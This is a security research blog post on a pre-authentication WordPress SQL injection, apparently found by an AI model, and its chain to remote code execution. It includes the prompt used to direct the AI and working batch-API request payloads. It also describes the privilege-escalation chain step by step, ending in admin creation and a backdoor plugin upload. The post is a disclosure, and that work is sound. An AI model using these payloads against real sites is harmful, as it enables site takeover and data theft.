

Exploit brokers pay \$500,000 for a WordPress RCE. I found one with GPT5.6 Sol Ultra and \$25 › Searchlight Cyber

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Content

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July 20, 2026

Security research

[Adam Kues](#)

Exploit brokers pay \$500,000 for a WordPress RCE. I found one with GPT5.6 Sol Ultra and \$25

Stay current: Get research alerts for newly disclosed vulnerabilities and exposures

If you're running WordPress and want to check if your instance is vulnerable, you can use our tool we've hosted here: <https://wp2shell.com/>.

We held off on publishing this issue to give defenders a chance to upgrade their WordPress instances over the weekend, but during that time, [Calif](#) and [Hacktron](#) were able to independently reproduce the full chain before other PoCs surfaced on GitHub.

The Story of wp2shell

Like most security researchers, we follow the new model releases at Searchlight Cyber very closely. When GPT5.6 Sol Ultra was released, we were very excited to test it out.

I had read that Sol had recently solved a famous mathematical conjecture called the [Cycle Double Cover conjecture](#). As a security researcher, the interesting thing for me was that OpenAI released the prompt they used, which is published [here](#). I hadn't seen anyone in the security community talk about it at all or really mention it, but I thought that if this prompt was good enough to solve hard mathematical problems, it was probably good enough for security research too. I took the prompt and adapted it, then pointed it at WordPress and asked it to use 4 agents for at least 6 hours. Here is the exact prompt I landed on:

Current task statement:

This is a test of your ability to discover zero-days. The source of WordPress in this repository has a vulnerability that ca

Your task is to identify the chain that allows for RCE. You should do this from first principles by analysis of the code. Do

Use multiagents aggressively. You may spawn up to 4 agents at any one time. Do not use a fixed assignment such as "N

- Begin with a genuinely diverse portfolio of approaches. Explore input parsing, charsets, file uploads, error handling, b

- Maintain an explicit registry of approach families. Group agents by the research idea they are using, not by superficial wording. If many agents converge to one family, redirect some of them toward underexplored areas.

- Do not allow one approach to dominate merely because it seems the most promising or suspicious.

- When an approach stalls, mark that route as blocked. Only continue assigning agents to it if someone proposes a ma

- Keep several incompatible research routes alive through multiple rounds. Cross-pollinate ideas only after independent agents have developed them far enough to expose their real strengths and gaps.

- Use adversarial agents throughout; any concrete bugs must be doubly checked for sanity reasons.

- The root agent should repeatedly synthesize, challenge, redirect, and launch new rounds.

Do not stop after the first wave fails. Produce a complete chain if one survives audit that would reach a flag at /flag;

Wordpress depends on a lot of other libraries and software. A third_party/ folder has been provided. You may use this

Do not return merely because current approaches fail or agents report no findings. Continue launching new rounds, re

Spend at least 6 hours on this before giving up.

The folder structure I used was as follows:

```
wordpress-ctf/  
main/  
# ... wordpress source ...  
third_party/  
# empty
```

Before starting, I cloned the latest stable WordPress release into `main/` and removed the `.git` directory. I did this because I often find that LLMs look at the change history or the internet for hints when doing security research, and for novel vulnerability discovery, I personally think this is a waste of tokens. This is also why I added this line:

```
Do not attempt to use changelogs, git history, or the internet to 'diff' the code against a patched version. Do not use th
```

My experience has also been that models will sometimes 'cheat' to achieve what you ask, either by choosing extremely unlikely configuration options or by fabricating preconditions that aren't achievable by an attacker. This is why I am very clear that it should be `pre-authentication to RCE in a typical production deployment with MySQL`.

Finally, I have found that models don't really 'get into the weeds' with the underlying libraries if they need to. Their first instinct is to search something about an API or PHP function if they don't know it. But models are *really good* at reading source code, so I just ask them to read the source:

```
WordPress depends on a lot of other libraries and software. A third_party/ folder has been provided. You may use this
```

The rest of the prompt is taken almost wholesale from OpenAI's CDC prompt.

When I came back, I saw in its running output that it claimed to have discovered a pre-authentication SQL injection. I didn't quite believe this at first, as WordPress is one of the most hardened targets of all time, and it also hadn't had any meaningful pre-auth vulnerabilities this decade. But as I understood what it had done, I realised that it had indeed discovered a fully pre-auth SQLi. Still not fully believing it, I installed a stock WordPress instance on a remote server and asked it to steal the administrator's email. Within a couple of minutes, it printed the email I had used to set up the instance.

From there, I asked Sol if this could be escalated to an RCE. About 4 hours later, Sol responded in the affirmative: the pre-auth read-only SQLi can reliably be used to escalate privileges to admin without having to crack any passwords or do any offline computation.

Total usage: 50% of weekly usage. Pro-rata total cost on the \$200 subscription: ~ \$25 USD.

At this point, it dawned on me that I had an exploit in the default configuration for one of the most popular bits of software in the world. Estimates vary, but most agree that over 500 million instances of WordPress run worldwide.

I spent the next day untangling what Sol had done and preparing a report to send to WordPress. While the SQLi was fairly straightforward to understand, the post-exploitation work Sol had done

to escalate this to RCE was completely absurd. It may have only taken Sol 4 hours to write, but it definitely took me much, much longer to understand. What follows is my (human) description of the exploit: the initial bug, the SQLi, and the post-exploit chain used to escalate to RCE.

The Bug

The WordPress batch API was introduced in WordPress 5.6 back in 2020 and allows users to make multiple virtual API requests in one request. You can reach this endpoint regardless of whether you are authenticated, but each subrequest gets passed that authentication information. A simple example of why you would want to use this is to update the title or tags of multiple blog posts at once; here is a simple example:

```
POST /wp-json/batch/v1 HTTP/1.1
Host: example.com
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
```

```
{
  "validation": "require-all-validate",
  "requests": [
    {
      "method": "PATCH",
      "path": "/wp/v2/posts/123",
      "body": {
        "title": "Updated first title"
      }
    },
    {
      "method": "PATCH",
      "path": "/wp/v2/posts/124",
      "body": {
        "title": "Updated second title"
      }
    }
  ]
}
```

If you directly hit an endpoint, such as `POST /wp-json/wp/v2/posts`, WordPress has a validation pipeline that roughly looks as follows:

- Check required and valid params with `has_valid_params()`
- Sanitize params with `sanitize_params()`
- Run the permission callback
- Execute the endpoint callback

This means that any parameters that flow into the endpoint callback itself have been validated to be of the right shape and data type. The API endpoints themselves rely on this validation in several places to make sure that, for example, a post ID is an integer, a post title is a string, and so on. Therefore, being able to bypass the parameter sanitization process is a big deal.

The batch API does things slightly differently. Rather than run the four-step process above serially, as you would expect, it batches the validation and the execution into two loops, as follows:

- For each request in the batch:
 - Check required and valid params with `has_valid_params()`
 - Sanitize params with `sanitize_params()`
- For each request in the batch:
 - Check that the validation succeeded
 - Run the permission callback
 - Execute the endpoint callback

This is implemented in `class-wp-rest-server.php` by having two arrays, one for matches (`$matches`) and one for validation (`$validation`). The intent is that each index `$i` in the matches array corresponds to the same index in the validation array. So `$validation[0]` contains the validation for `$matches[0]`, `$validation[1]` contains the validation for `$matches[1]`, and so on. The validation routine works as follows:

```

$matches = array();
$validation = array();
$has_error = false;

foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error = true;
        $validation[] = $single_request;
        continue;
    }

    $match = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    $error = null;

    /* SNIP - ... do the validation ... */

    if ( $error ) {
        $has_error = true;
        $validation[] = $error;
    } else {
        $validation[] = true;
    }
}

$responses = array();

```

Do you spot the vulnerability here? If we take the `is_wp_error( $single_request )` branch, the `$validation` array is updated, but because of the `continue;`, the `$matches` array isn't updated! Suppose the first request is malformed. The original requests and their validation results remain aligned, but every entry in `$matches` is shifted back by one position. The second execution loop skips the error at index 0. At index 1, it uses the original request at index 1 and that request's validation result, but `$matches[1]` now contains the handler matched for the original request at index 2. `$matches[0]` is never used. This lets us validate one request and then execute it using the following request's endpoint handler.

Using this, we can bypass all sanitization on every batch-enabled endpoint by matching every endpoint with the validation of a different endpoint that doesn't sanitize the same parameters. But where can we use this?

The Sink

The route `GET /wp/v2/posts` allows users to list posts meeting certain criteria. The API offers functionality to exclude author IDs from the result:

```

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique(
            array_map( 'absint', $query_vars['author__not_in'] )
        );
        sort( $query_vars['author__not_in'] );
    }

    $author__not_in = implode(
        ',',
        (array) $query_vars['author__not_in']
    );

    $where .= " AND {$wpdb->posts}.post_author
        NOT IN ($author__not_in) ";
}

```

There is a nasty bug here. If the input to `author__not_in` is an array, it will filter each item with `absint`, sanitizing it to be an integer. But if the input is a scalar, it will leave it untouched. Therefore, providing a scalar string such as `"foobar"` will just get interpolated directly into the raw SQL query with no escaping.

This wouldn't ordinarily be a problem when calling this route directly, as the public `author_exclude` parameter must be an array of integers. The posts controller only maps it to `author__not_in` after validation. However, via the batch API, we have our validation/execution mismatch, allowing us to neatly sidestep the parameter validation. Let's try it out:

POST /wp-json/batch/v1 **HTTP/1.1**

Host: localhost

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

Content-Length: 364

```
{
  "validation": "normal",
  "requests": [
    {
      "method": "POST",
      "path": "http://:"
    },
    {
      "method": "DELETE",
      "path": "/wp/v2/posts/1",
      "body": {
        "author_exclude": "foobar"
      }
    },
    {
      "method": "GET",
      "path": "/wp/v2/posts"
    }
  ]
}
```

Here we apply what we have so far. First, we have an invalid path in a request to desync the paths and body validation. The `author_exclude` parameter gets validated against the route `DELETE /wp/v2/posts/1`, which does not perform validation on it (it doesn't recognise the parameter), but then, because of our desynchronisation, `author_exclude` gets applied to `GET /wp/v2/posts` instead. There's only one problem:

```
requests[2][method] is not one of POST, PUT, PATCH, and DELETE.
```

The batch API does not support GET requests. The SQLi we found is only accessible via GET, so it seems we have hit a dead end. Sol's solution to this is clever and quite instructive. The model realises that the validation of the request methods is implemented as parameter validation itself. Do we have a way to bypass parameter validation? Yes we do! We can use the desync bug! Therefore, Sol constructs a payload where it *recursively* calls the batch endpoint. In the inner call, because of the desync, the request method isn't validated. Then we can make our GET request. The final payload for a pre-authentication SQLi is just:

POST /wp-json/batch/v1 **HTTP/1.1**

Host: localhost

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

Content-Length: 656

```
{
  "requests": [
    {
      "method": "POST",
      "path": "http://:"
    },
    {
      "method": "POST",
      "path": "/wp/v2/posts",
      "body": {
        "requests": [
          {
            "method": "GET",
            "path": "http://:"
          },
          {
            "method": "DELETE",
            "path": "/wp/v2/posts/1",
            "body": {
              "author_exclude": "0) OR 1=1 -- "
            }
          },
          {
            "method": "GET",
            "path": "/wp/v2/posts"
          }
        ]
      }
    },
    {
      "method": "POST",
      "path": "/batch/v1"
    }
  ]
}
```

Here we exploit the batch API validation bug twice, recursively. In the outer request, we desync such that the `method` field isn't validated. And then in the inner request, we desync again such

that the `author_exclude` field isn't validated. The payload `0) OR 1=1 --` will return all post rows, confirming the injection works. From here, a UNION-based injection can leak arbitrary database values by returning them in a full `wp_posts`-shaped row.

At this point, we had a pre-auth SQLi in WordPress, which is already a huge deal. Feeling empowered by the powers of the LLM, though, I asked it whether it was able to escalate this to a full-blown RCE.

My first instinct was to leak things like passwords, reset tokens, or API keys in order to escalate privileges. However, WordPress has a pretty robust security model, and all of these things are hashed in the database. Unless the administrator's password is particularly weak and crackable for some reason, leaking the database is not enough to take over the administrator's account. However, Sol quickly identified another promising angle:

The Cache

WordPress is highly performant. As part of this, WordPress maintains an in-memory cache of `WP_Post` objects seen throughout the request lifecycle. This isn't persisted anywhere; once the request ends, these cached objects are discarded. However, if the same post is referred to multiple times throughout the request lifecycle, WordPress will use the cached post if it exists after fetching from the database for the first time. This avoids multiple roundtrips to the database if the same post is used multiple times in the same request. For example, a user might visit a post with ID 10, but at the same time, a sidebar widget lists the 5 most recent posts, including post ID 10, and so on.

Since we have a SQLi in the `posts` endpoint, we can use a UNION-based injection to 'fake' the posts that come back. Since these posts will be cached, we have an extraordinary amount of control over the data that gets cached about the post. In addition, WordPress does post-processing of the article text before rendering it, even via the API, and we control the full article text that's being returned.

Even though we can poison the request cache, it's not so obvious what we can do with this primitive. After all, the fake posts that we are returning aren't real posts backed by the database, which limits impact across requests. It doesn't look like we can turn these fake posts into real database rows – except...

The Embed

WordPress has a feature called [embeds](#). By including a construction like `[embed]https://example.com[/embed]` within your article, provided that the remote page's content is in a format WordPress supports, that content will be embedded in your article.

To prevent making the HTTP request every time the article is loaded, WordPress caches these embeds not just in memory, but at the database level as well. This takes the form of a post of type `oembed_cache` stored in the `wp_posts` table of the database.

WordPress posts are another supported embed type. If you embed a post and give a relative path rather than an absolute URL, WordPress will recognise that the URL points to a local post and not actually make the HTTP request at all. However, WordPress will not actually check that the post IDs

referred to in the embed exist. Thus, placing text like `[embed width="500" height="750"]/?p=10[/embed]` will fabricate a database row of type `oembed_cache` with the embed data for post 10. Let's say that new row ID is 11.

Now that we have a row in the database for post ID 11, things get interesting. If we abuse the same SQLi again, we can once more fabricate anything about the post we like in memory, and that will be stored in the in-memory per-request cache. However, this time, the in-memory and database-cached versions of the post differ. WordPress will recognise this and try to reconcile the two versions:

```
wp_update_post([
    'ID'      => 11,
    'post_content' => "benign html coming from the embed",
]);
```

Here, the `ID` and `post_content` are set before writing to the database. However, there are many other fields for a post, such as the `post_status` and the `post_type`. In the database, the `post_type` is `oembed_cache`, but using our SQLi, we can fabricate any post type we like, such as `post` (which is an ordinary WordPress post). If the database row and the in-memory cache disagree, WordPress will prefer the in-memory fields, which we fully control. Therefore, we can force the `oembed_cache` rows to become normal posts, suddenly 'popping' them into existence. The only thing we don't control is the `post_content` —since that's explicitly specified in the call to `wp_update_post`, we can't override it.

The Changeset

Defacing a website with posts is interesting, especially given that we are able to fabricate them out of thin air on a `SELECT`-only SQLi. But it's not RCE. What's the next step? Sol hones in on a special type of post called a `customize_changeset`.

When you draft an edit to your site's theme in WordPress, it needs to save these drafted changes to your site's settings in some way. The way it does this is by using a special row in `wp_posts` with the `post_type` set to `customize_changeset`. Instead of saving the entire settings for the site as a blob, it stores a diff of the fields changed in `post_content`. A sample might look like this:

```

{
  "blogname": {
    "value": "This is a test site",
    "type": "option",
    "user_id": 1
  },
  "blogdescription": {
    "value": "I edited the description too",
    "type": "option",
    "user_id": 1
  },
  "header_textcolor": {
    "value": "112233",
    "type": "theme_mod",
    "user_id": 1
  }
}

```

If you resume editing the site theme, WordPress will temporarily apply the changeset, allowing you to continue editing where you left off. If you publish the changes, the changes will be applied to the site permanently.

Each thing you can change in a post has a key (such as `blogname`) and a three-element dictionary: the type of thing you are changing, the value of the change, and the user ID whose authority will be used to make the changes. In our case, the changes have user ID 1, so they will be applied with the administrator's authority. When a changeset is applied, WordPress temporarily sets the current user using the `user_id` specified in the changeset:

```
wp_set_current_user($setting_user_id);
```

Thus, if a changeset is applied while we are an anonymous user, we can temporarily assume the administrator's identity. There is one major issue: as mentioned, changesets use the `post_content` field to store the JSON of the changeset. This is the only field we currently don't control as an attacker using our cache-poisoning trick because, in the `wp_update_post` call mentioned earlier, `post_content` is explicitly overridden with that of the embed. However, Sol discovers a gadget that will force WordPress to reconcile these conflicting cached representations.

The Cycle

WordPress allows posts to have a parent. This means you can think of the set of WordPress posts as a tree, each of which has zero or one parent. Here, we use an arrow that points from its child to its parent:

WordPress, however, does not allow cycles. For many operations, if WordPress applies a change to a post, it calls a filter `wp_insert_post_parent` which traverses to the post's parent, the post's parent's

parent, and so on, until reaching the top of the tree. This would mean that if the post hierarchy was somehow corrupted and the post graph had a cycle, WordPress could end up in an infinite loop:

This is relevant to page hierarchies. If you made a post a parent of itself, it could cause many issues.

WordPress has anticipated this scenario and added logic for cycle detection. If WordPress detects that there is a loop while updating a post hierarchy, it will update the post's parent ID to zero:

```
wp_update_post(
    array(
        'ID'      => B,
        'post_parent' => 0,
    )
);
```

This is a different call to the earlier `wp_update_post`. Importantly, this call does not override `post_content`, so we can control the `post_content` with the fabricated in-memory post using the SQLi. Therefore, we can fabricate a legitimate `customize_changeset` with JSON associated with the admin user. This allows us to make changes to other posts as the administrator. However, once the change to another post is made, our rights revert to those of a guest. How do we go from being able to change post content to being able to do *anything* as administrator?

The Hook

To support its rich plugin ecosystem, WordPress has a feature called [hooks](#). These hooks, with names like `wp_enqueue_scripts` or `publish_post`, allow plugins to ‘hook’ (as the name suggests) almost every part of the WordPress lifecycle. Hooks are separated into actions (things you can call but return no value) and filters (things that return a value). For example, a plugin author might want to add functionality to log all user logins and use hooks to do so:

```
add_action(
    'wp_login',
    function ( $username, $user ) {
        error_log( "{$username} logged in" );
    },
    10,
    2
);
```

Action hooks can also be called manually with `do_action()`. When logging a user in, rather than just calling some internal `->wpLogin()` function, WordPress uses `do_action('wp_login', $username, $user_obj)`. This sort of dynamic dispatch is pervasive throughout the codebase and is also what makes WordPress so customizable.

When a post is published, WordPress allows users to hook that publish event. They do so by calling:

```
do_action(  
    "{$new_status}_{$post->post_type}",  
    $post->ID,  
    $post  
);
```

In a legitimate case, it might be that the status of a `post` has gone from `draft` to `publish`, so the dynamic action will be called `publish_post`, and plugins can hook that. Sol realises that this surface is accessible while we have assumed the temporary administrator role, and also realises that because we are fabricating the entire post in memory, `new_status` and `$post->post_type` can correspond to anything we like and don't necessarily have to correspond to a legitimate `post_type` or `status`. This allows us, as an attacker, to call any action as an administrator, as long as it contains at least one underscore.

The major problem is that `$post->ID` is under our control, but it's only an ID. Additionally, `$post` is a `WP_Post` object. That means that we have almost no control over the *arguments* that we provide to the actions. Sol again comes up with a strategy to solve this: it targets the `parse_request` hook. This hook is called at the very start of the request lifecycle, before almost anything is done. The result is that calling `parse_request` will replay *the entire Batch API request from the beginning*, except that now, we still have our temporarily assumed administrator role.

Now that we have all the pieces, let's craft the exploit.

The Exploit

The final exploit makes two requests. For clarity, we will refer to each post ID we use in our exploit as a single letter, such as `C` or `O`. In reality, these letter variables can be substituted by any ID, as long as the ID is high enough to not clash with a legitimate ID already used by the target.

In the first request, we 'seed' the database with 3 `oembed_cache` rows for posts `O`, `C` and `D`. We do this by using the SQLi to return a fake post with ID zero with three embed links pointing to `S`:

```
[embed width="500" height="750"]/?p=S&wpsec_seed=foobar-outer[/embed] [embed width="500"  
height="750"]/?p=S&wpsec_seed=foobar-changeset[/embed] [embed width="500" height="750"]/?  
p=S&wpsec_seed=foobar-dispatch[/embed]
```

All three URLs point to the same `S`, but the extra query-string token differs. Therefore, they produce three different `oEmbed` cache hashes. The three hashes identify the future `O`, `C`, and `D` rows.

For the second request, we need six fake posts, constructed as follows:

- `O`: `publish/oembed_cache`, empty content, stale timestamp with parent `C`
- `C`: `future/customize_changeset`, changeset JSON with parent `C`
- `P`: `draft/page`, with parent `D`
- `D`: `parse/request` with itself as its parent

- `S`: `publish/post`, for providing embed data
- `T`: `publish/post`, containing the outer embed

The state of WordPress at the point of the SQLi looks as follows:

The forged post `T` kicks off execution. It contains an embed to `S`, which, since the request is to a local embed with hash for `O`, calls `get_post(O)`. This is backed by a database row, and `O` is an embed backed by the post `S` (as we seeded in the first request). `S` doesn't exist in the database and isn't a real post, but that's OK, since it's in the in-memory post cache. Due to a fake `post_modified_gmt` we place on `O`, WordPress will believe the cache of `S`'s data has expired, so it will call `get_post(S)`, which returns data from the fake in-memory version of `S`. The data from `S` will be transformed by the embed routine into something suitable for embedding.

Since `O`'s data has to be updated, it will call the following:

```
wp_update_post(
    array(
        'ID'      => O,
        'post_content' => $generated_html,
    )
);
```

Before writing the row for `O`, WordPress calls the `wp_insert_post_parent` filter. WordPress then discovers that `O`'s parent, `C`, has a loop in its parent hierarchy. WordPress kicks off some logic to fix this, which ends up calling:

```
wp_update_post(
    array(
        'ID'      => C,
        'post_parent' => 0,
    )
);
```

`C` appears legitimate in the database, but in memory, our `C` is actually a `customize_changeset`. The fields of `C` look as follows:

```
post_status = future
post_type   = customize_changeset
post_parent = C
post_date   = a really old date
post_content = malicious changeset JSON
post_name   = valid changeset UUID
```

When `C` is being written to the database, WordPress recognises that the status of the changeset says it will be applied in the `future`, but the date to be applied is actually a date in the past.

Therefore, WordPress will move to apply the changeset. It will read the changeset JSON:

```
{
  "nav_menus_created_posts": {
    "value": [P],
    "type": "option",
    "user_id": 1
  }
}
```

The changeset is updating a benign setting for `P` with user ID `1`, so WordPress temporarily assumes the identity of the administrator to make this change. `P` doesn't exist in the database, but it exists in memory as a draft, so that's OK.

After applying the change, WordPress makes roughly the following call:

```
wp_update_post(
  array(
    'ID'      => P,
    'post_status' => 'publish',
  )
);
```

Using the same cycle gadget, WordPress calls the `wp_insert_post_parent` filter and realises that `P`'s parent, `D`, has a cycle in its parent hierarchy. It moves to fix `D` in the same way:

```
wp_update_post(
  array(
    'ID'      => D,
    'post_parent' => 0,
  )
);
```

However, `D` isn't a legitimate post at all. In fact, it has status `parse` and type `request`, neither of which are valid for WordPress normally. However, WordPress doesn't realise this. After insertion into the database, WordPress calls the hook `"{$new_status}_{$post_type}"`, which, for `D`, corresponds to `parse_request`. This kicks the whole request parsing pipeline off again, but this time, we still have the temporarily assumed administrator role.

Sol has been clever. In its original batch request, it included a request to create a new administrator. This request will fail on the first pass through `/batch/v1`, as we are executing it as a guest. But on the second pass, we are an administrator, so the call succeeds and a new administrator account is created.

Using this administrator account, we can simply log into the site and upload a backdoor plugin from a ZIP file. This results in code execution.

Is GPT5.6 Sol Superhuman?

This full exploit was produced in just over 10 hours. Having used every frontier model since the days of ChatGPT in 2022, my belief is that 5.6 represents a significant step up in security research compared to 5.5. When reading through the chain it produced, I was astonished by several creative exploitation techniques that I would previously have thought were only the domain of humans: the use of a recursive batch call to avoid the restriction on `GET`; the cache abuse to apply a changeset and temporarily escalate to administrator; and the choice of a fake post that ends up calling the `parse_request` hook to replay the request with the assumed role.

I make no general claims, but I can say with complete confidence that no security researcher could have found and completed this exploit chain in 10 hours without AI. Even if I gave them the original bug and asked them to exploit it for RCE, I'm not sure it would be possible in that timeframe. The ability to spot several disparate gadgets and chain them across a codebase is one hallmark of a good security researcher, and Sol does this with inhuman precision and clarity.

As the models get stronger and stronger, it seems like security research will become a bit higher-level—deciding what products and surfaces to investigate and for how long, steering research direction with prompts, and nudging the LLM when it veers off track. These meta skills are currently still handled quite poorly by AI and will become more and more important as the LLM is able to handle the bulk of the technical exploit development work. It's clear that the field of security research is changing rapidly, and I'm excited to see what lies ahead.

About Searchlight Cyber

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